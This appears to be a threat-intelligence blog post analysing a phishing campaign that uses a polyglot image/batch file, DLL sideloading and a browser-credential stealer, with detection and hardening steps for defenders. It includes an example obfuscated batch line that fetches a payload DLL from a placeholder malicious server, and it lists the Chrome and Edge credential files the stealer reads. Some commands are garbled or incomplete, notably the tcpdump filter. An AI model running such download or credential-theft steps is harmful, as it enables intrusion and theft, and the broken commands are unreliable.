Listen to this Post
Introduction:
A sophisticated cyber-espionage campaign, dubbed “Operation Hanoi Thief,” is actively targeting Vietnamese IT professionals and human resource personnel. The attack chain employs a cleverly crafted pseudo-polyglot file delivered via spear-phishing, which functions as both a decoy document and a malicious batch script. This technique drops a custom information-stealer, LOTUSHARVEST, which uses DLL sideloading to stealthily pilfer browser credentials and exfiltrate them to attacker-controlled infrastructure.
Learning Objectives:
- Understand the mechanics of a pseudo-polyglot file and how it deceives both users and security systems.
- Learn to analyze and detect DLL sideloading techniques used by the LOTUSHARVEST implant.
- Develop methodologies for hunting and mitigating this specific threat through network and host-based indicators.
You Should Know:
1. The Anatomy of the Polyglot Phishing Payload
The initial attack vector is a ZIP file containing a single, malicious file that is both a valid image (like a JPG) and a Windows batch script (.BAT). This is known as a polyglot file. When the victim opens the file, it typically displays an image, providing a legitimate lure. However, when processed by the command-line interpreter (e.g., via a double-click or an embedded command), the same file is executed as a batch script.
Step-by-step guide explaining what this does and how to use it:
– Step 1: Delivery. The attacker sends a spear-phishing email with a convincing narrative, enticing the target to download and open the attached ZIP archive.
– Step 2: Execution. The victim extracts the ZIP and double-clicks the polyglot file. The Windows shell associates the file with an image viewer, which renders the image portion. However, the attack can also be triggered if the file is passed as an argument to `cmd.exe` or if its batch script portion is called by another process.
– Step 3: Malicious Script. The batch script portion of the file is designed to decode or fetch the next stage payload. To analyze such a file manually, you can use the `file` command in Linux or a hex editor to identify its true nature.
Linux Command to Identify File Type:
`file –mime-type suspicious_file`
This command might reveal `text/plain` or `application/x-ms-dos-executable` in addition to an image type, indicating a polyglot.
Extracting the Batch Script:
`strings suspicious_file > extracted_strings.txt`
Review the `extracted_strings.txt` for classic batch commands like echo, copy, curl, or certutil.
2. Deobfuscating the Malicious Batch Script
The batch script within the polyglot is often heavily obfuscated to evade signature-based detection. It uses environmental variables, string concatenation, and encoded commands to hide its intent.
Step-by-step guide explaining what this does and how to use it:
– Step 1: Isolation. Conduct analysis in a secure, isolated virtual machine. Run the script with logging enabled.
Windows Command to Log Script Execution:
`cmd /c “obfuscated_script.bat” > script_log.txt 2>&1`
- Step 2: Deobfuscation. Manually trace the variables. The script often builds a command by setting multiple variables and then combining them.
Example Obfuscated Snippet:
`set a=cu`
`set b=rl`
`set c=-o`
`%a%%b% http://malicious-server.com/payload.dll %c% payload.dll`
This would resolve to curl http://malicious-server.com/payload.dll -o payload.dll.
– Step 3: Identify Payload Fetching. The ultimate goal of the script is to download the LOTUSHARVEST DLL (payload.dll in our example) and a legitimate executable for sideloading.
3. Understanding and Detecting DLL Sideloading
DLL sideloading exploits the Windows DLL search order. A malicious DLL (LOTUSHARVEST) is placed in the same directory as a legitimate, signed executable. When the executable is run, it loads the malicious DLL instead of the legitimate one from the system directory.
Step-by-step guide explaining what this does and how to use it:
– Step 1: Placement. The batch script places `malicious.dll` (LOTUSHARVEST) and `legitimate_app.exe` in the same folder, often a user-writable location like %TEMP%.
– Step 2: Execution. The batch script or a subsequent step launches legitimate_app.exe. This executable is valid and signed, so it appears benign.
– Step 3: Malicious Load. `legitimate_app.exe` attempts to load a required DLL (e.g., `version.dll` or windowsstorage.dll). Because the search path looks in the application’s directory first, it loads the malicious `malicious.dll` which is masquerading as the required DLL.
– Detection with PowerShell: You can hunt for this by looking for DLLs with low prevalence that are loaded from unusual paths.
`Get-Process | Where-Object {$_.Modules | Where-Object {$_.FileName -like “$env:TEMP\”}} | Select-Object ProcessName, Path`
4. Analyzing the LOTUSHARVEST Implant
The LOTUSHARVEST DLL is a custom information stealer. Once loaded via sideloading, it performs anti-analysis checks and then begins its primary data exfiltration functions.
Step-by-step guide explaining what this does and how to use it:
– Step 1: Anti-Analysis. The DLL may check for the presence of debuggers, virtual machine artifacts, or security tools. This can be bypassed in a controlled analysis environment.
– Step 2: Credential Theft. It targets browser data paths to extract login credentials, cookies, and session data. Common targets include:
`%LocalAppData%\Google\Chrome\User Data\Default\Login Data`
`%LocalAppData%\Microsoft\Edge\User Data\Default\Login Data`
- Step 3: Exfiltration. The stolen data is compressed and sent to a Command and Control (C2) server using HTTP/HTTPS POST requests.
- Network Monitoring Command (Linux tcpdump):
`sudo tcpdump -i any -A ‘hostand (tcp port 80 or tcp port 443)’`
- Infrastructure Analysis and Indicator of Compromise (IoC) Scraping
The research report contains crucial IoCs such as file hashes, C2 IP addresses, and domains. Systematically collecting and blocking these is the first line of defense.
Step-by-step guide explaining what this does and how to use it:
– Step 1: Acquire IoCs. Download the report from the provided URL and extract all hashes (MD5, SHA1, SHA256), IP addresses, and domains.
– Step 2: Implement Blocking. Integrate these IoCs into your security stack:
Firewall: Block the IP addresses.
EDR/SIEM: Create alerts for hashes and domains.
Proxy/Web Filter: Block the malicious domains.
- Step 3: Hunt Proactively. Use the file hashes to search your environment for any signs of compromise.
Windows Command using PowerShell:
`Get-ChildItem -Path C:\ -Recurse -ErrorAction SilentlyContinue | Get-FileHash | Where-Object {$_.Hash -in $maliciousHashes}`
6. Mitigation and Hardening Strategies
Preventing this attack requires a defense-in-depth approach focusing on user training, application control, and system hardening.
Step-by-step guide explaining what this does and how to use it:
– Step 1: User Awareness. Train staff, especially HR and IT recruiters, to be suspicious of unsolicited ZIP files and to verify senders.
– Step 2: Application Whitelisting. Implement policies like Windows AppLocker or Defender Application Control to restrict the execution of scripts and binaries from user writable paths like `%TEMP%` and Downloads.
Example AppLocker Rule (PowerShell to create a deny rule for TEMP):
`New-AppLockerPolicy -RuleType Path -User Everyone -Action Deny -Path “%TEMP%\” -Name “Block TEMP Execution”`
– Step 3: Attack Surface Reduction (ASR) Rules. Enable ASR rules in Microsoft Defender, specifically the “Block executable content from email client and webmail” and “Block Office applications from creating executable content” rules.
What Undercode Say:
- The polyglot file technique represents a significant evolution in social engineering, effectively bypassing traditional file-type filters that rely on extensions or simple MIME type checking.
- The combination of a sophisticated lure, polyglot file, and a trusted sideloading mechanism creates a high-fidelity attack that is difficult for both users and automated systems to detect.
The Operation Hanoi Thief campaign is a stark reminder that attackers are continuously refining their tradecraft. The use of a polyglot file is particularly clever, as it exploits the disconnect between how a file is presented (an image) and how it can be executed (a script). This, coupled with the trusted technique of DLL sideloading, allows the threat actor to maintain a low profile. Defending against such threats requires a shift from purely signature-based detection to behavioral analysis. Security teams must monitor for anomalous process behavior, such as legitimate applications making network connections or reading from browser data stores, rather than just blocking known-bad files. The focus must be on the action rather than the container.
Prediction:
The success of Operation Hanoi Thief will likely lead to the widespread adoption of polyglot file attacks by other APT and cybercriminal groups. We predict a future where polyglot files become a standard part of the initial access toolkit, combined with increasingly sophisticated living-off-the-land techniques (LOLBins) to avoid disk-based detection. This will force a fundamental change in secure file inspection, moving towards deep content disassembly and sandboxing that can identify and trigger all potential file interpretations, not just the primary one. Furthermore, the targeting of HR professionals highlights a soft underbelly in corporate defense, predicting a rise in “island hopping” attacks where less-secure departments are compromised to reach the true IT targets.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Rhishav Kanjilal – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
